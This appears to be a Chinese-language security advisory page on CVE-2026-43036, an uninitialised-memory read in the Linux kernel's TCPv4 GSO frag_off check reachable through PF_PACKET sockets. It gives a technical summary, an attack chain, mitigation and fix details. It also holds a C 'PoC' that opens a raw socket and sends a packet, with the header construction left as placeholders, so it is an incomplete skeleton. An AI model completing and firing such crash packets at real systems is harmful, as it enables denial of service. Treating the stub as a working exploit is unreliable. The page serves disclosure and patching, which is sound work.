IPBUF安全漏洞报告
English
CVE-2026-43036 CVSS 5.5 中危

CVE-2026-43036 Linux内核TCPv4 GSO内存读取漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43036
漏洞类型
内存读取错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

内存读取Linux内核拒绝服务本地漏洞CVSS-5.5

漏洞概述

Linux内核网络子系统存在安全漏洞。在TCPv4 GSO的frag_off检查过程中,代码直接通过iph->frag_off访问IPv4头部,未考虑数据包可能来自PF_PACKET路径且数据非线性化的情况。这导致读取未初始化的内存值,可能引发内核崩溃或拒绝服务。

技术细节

该漏洞位于Linux内核的net子系统,具体涉及gso_features_check()函数。Syzbot报告的KMSAN警告显示,该函数在调用netif_skb_features()时读取了未初始化的值。问题的核心在于,代码直接使用ip_hdr()或inner_ip_hdr()返回的指针来访问iph->frag_off字段。对于通过PF_PACKET套接字注入的数据包,其skb头部可能尚未线性化,或者偏移量不可靠,直接解引用这些指针会导致访问无效或未初始化的内存区域。虽然该漏洞主要影响可用性(A:H),可能导致系统崩溃,但不会泄露机密信息或破坏数据完整性。修复方案采用skb_header_pointer()函数替代直接指针访问,该函数能够安全地处理线性数据和非线性数据的读取(必要时进行拷贝),从而消除了潜在的内存访问风险,增强了内核在处理特殊数据包时的鲁棒性。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限账户访问权限。
STEP 2
步骤2
攻击者构造特殊的网络数据包,利用PF_PACKET原始套接字接口发送。
STEP 3
步骤3
内核网络栈接收数据包并调用gso_features_check()函数进行GSO特性检查。
STEP 4
步骤4
函数尝试直接解引用不安全的IPv4头部指针读取frag_off,触发未初始化内存读取。
STEP 5
步骤5
触发内核异常,可能导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43036 * Triggering the uninit-value read in gso_features_check via PF_PACKET. * Requires local execution. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 int main() { int sockfd; struct sockaddr_ll sa; char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // Create a raw socket sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } // Construct a malicious IP/TCP packet that triggers GSO checks // Note: Actual header construction to trigger the specific path // involves setting specific GSO flags and fragmented offsets. // This is a simplified structure. // Ethernet Header struct ether_header *eth = (struct ether_header *)buffer; // ... fill eth headers ... // IP Header (frag_off manipulation) // ... fill ip headers ... // TCP Header // ... fill tcp headers ... memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; // ... set interface index ... // Send packet if (sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("Send failed"); } else { printf("Packet sent. Check kernel logs for KMSAN warnings or crashes.\n"); } close(sockfd); return 0; }

影响范围

Linux Kernel < 6.x (Specific versions prior to commits cc91202, d970341, etc.)

防御指南

临时缓解措施
限制非特权用户对PF_PACKET原始套接字的访问权限,以减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表